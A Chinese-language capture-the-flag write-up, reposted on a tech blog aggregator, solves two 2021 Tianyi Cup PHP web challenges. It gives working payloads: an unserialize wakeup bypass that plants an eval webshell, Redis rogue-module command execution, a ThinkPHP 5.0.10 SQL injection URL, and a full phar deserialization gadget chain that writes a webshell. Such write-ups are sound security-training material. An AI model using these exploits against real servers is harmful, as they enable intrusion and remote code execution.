IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 2021天翼杯WEB -> 正文阅读

[PHP知识库]2021天翼杯WEB


复现环境: NSSCTF


2021 天翼杯

esay_eval

访问首页直接给出源码:

<?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);
        
    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    function __destruct(){
        echo $this->a->a();
    }
}
if(isset($_REQUEST['poc'])){
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }


}else{
    highlight_file(__FILE__);
}

构造 payload:

<?php
class A{
    public $code = "";
}

class B{
}

$a = new A();
$a->code = "phpinfo();";
$b = new B();
$b->a = $a;
echo serialize($b);
//O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}}

不过这里需要绕 wakeup 方法,

# PHP 对类名大小写不敏感绕过正则进而可以绕过 wakeup
/?poc=O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:10:"phpinfo();";}}

# 另一种绕过方式
?poc=O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}1}

发现存在 open_basedir=/tmp/:/var/www/html/ 和 disable_functions。

image-20220222193718747

改 payload 并用蚁剑连接:

?poc=O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:16:"eval($_POST[1]);";}1}

image-20220222194057777

连接成功看到 config.php.swp 文件,用 vim -r config.php.swp 恢复一下得到内容:

<?php

define("DB_HOST","localhost");
define("DB_USERNAME","root");
define("DB_PASSWOrd","");
define("DB_DATABASE","test");

define("REDIS_PASS","you_cannot_guess_it");

可以借助 redis 执行命令,将 redis-rogue-server 项目里的 exp.so 通过蚁剑上传到 /var/www/html 上,借助蚁剑的 Redis 管理插件进行连接并执行指令:

module load /var/www/html/exp.so
system.exec id
system.exec "ls /"
system.exec "cat /flag*"

image-20220222202839691


EzTP

参考文章:天翼杯 2021

直接访问 /www.zip 就能下载源码进行审计,或者在 /robots.txt 里也能看到 www.zip。

thinkphp版本为 5.0.10。

image-20220224174053742

首页登录处代码:

image-20220224173950109

直接 thinkphp5.0.10 sql注入即可:

/public/index.php?username[0]=not%20like&username[1][0]=%%&username[1][1]=233&username[2]=)%20union%20select%201,2,3%23&password=3

image-20220224174356597

admin 处可以上传文件,查看源码,很明显上传然后配合 phar 反序列化:

image-20220224183230380

php一大部分的文件系统函数在通过 phar:// 伪协议解析 phar 文件时,都会将 meta-data 进行反序列化,受影响的函数如下:

file()file_exists()file_get_contents()file_put_contents()
fileatime()filectime()filegroup()fileinode()
filemtime()fileowner()fileperms()fopen()
is_dir()is_executable()is_file()is_link()
is_readable()is_writable()is_writeable()parse_ini_file()
copy()readfile()stat()unlink()

具体说明参考利用 phar 拓展 php 反序列化漏洞攻击面

这里 is_dir 函数配合 phar:// 伪协议解析 phar 文件时会造成反序列化。

后面就是 thinkphp5.0.10 反序列化链了,参考 thinkphp5.0.*反序列化链分析(5.0全版本覆盖)

有一点区别,就是在 /thinkphp/library/think/Process.php 中的 close 方法被加了如下代码:

if(method_exists($this->processPipes,'close')){
    $this->processPipes->close();
}

image-20220224184458352

判断了 $this->processPipes 指向的类是否含有 close 方法,若不含有就不调用,所以此路被封,需要重新找。

不过借助 /thinkphp/library/think/session/driver/Memcache.php 的 close 方法即可

image-20220224184833595

改后的链子:

<?php
namespace think;
use think\session\driver\Memcache;
class Process
{
    private $processPipes;
    private $status;
    private $processInformation;
    public function  __construct(){
        $this->processInformation['running']=true;
        $this->status=3;
        $this->processPipes=(new Memcache(1));
    }
}


namespace think;
class Model{}


namespace think\model;
use think\Model;
class Merge extends Model{
    public $a='1';
    public function __construct(){}
}


namespace think\model\relation;
use think\console\Output;
use think\db\Query;
use think\model\Merge;
use think\model\Relation;
class HasMany extends Relation
{
    //protected $baseQuery=true;
    protected $parent;
    protected $localKey='a';
    protected $foreignKey='a';
    protected $pivot;
    public function __construct(){
        $this->query=new Output();
        $this->parent= new Merge();

    }
}


namespace think\model;
class Relation{}


namespace think\db;
class Query{}


namespace think\console;
class Output{
    protected $styles = [
        'info',
        'error',
        'comment',
        'question',
        'highlight',
        'warning',
        'getTable',
        'where'
    ];
    private $handle;
    public function __construct()
    {
        $this->handle = (new \think\session\driver\Memcache(0));
    }
}


namespace think\session\driver;
class Memcache
{
    protected $handler;
    public function __construct($i)
    {
        if($i==0){
            $this->handler = (new \think\cache\driver\Memcached(0));
        }else{
            $this->handler = (new \think\model\relation\HasMany);
        }
    }
}


namespace think\cache\driver;
class Memcached
{
    protected $tag;
    protected $options;
    protected $handler;

    public function __construct($i)
    {
        if($i==0){
            $this->tag = true;
            $this->options = [
                'expire'   => 0,
                'prefix'   => 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+',  /* eval($_POST[1]);?> */
            ];
            $this->handler = (new File);
        }
    }
}

class File
{
    protected $tag;
    protected $options;
    public function __construct()
    {
        $this->tag = false;
        $this->options = [
            'expire'        => 3600,
            'cache_subdir'  => false,
            'prefix'        => '',
            'data_compress' => false,
            'path'          => 'php://filter/write=convert.base64-decode/resource=/var/www/html/public/',
        ];
    }
}

@unlink("phar.phar");
$phar = new \Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89A <?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata(new \think\Process()); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

生成 phar.phar 文件,改名为 phar.jpg 并更换头像:

image-20220224185810996

访问如下链接触发反序列化

/public/admin/index/listpic?dir=phar:///var/www/html/public/static/img/person.jpg

会写入一个恶意文件,其中文件名经过分析后发现可以借助如下代码生成:

<?php
    $code = "PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+"; /* eval($_POST[1]);?> */
	$tag = True;
    $filename = md5($code.'tag_'.md5($tag)).".php";
	echo $filename; // fd25663b72dc7867bc6b0764ce53cd49.php
?>

image-20220224190048386

转载请注明出处
本文网址:https://blog.csdn.net/hiahiachang/article/details/123118665

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-02-28 15:08:53  更:2022-02-28 15:09:14 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/26 15:55:56-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计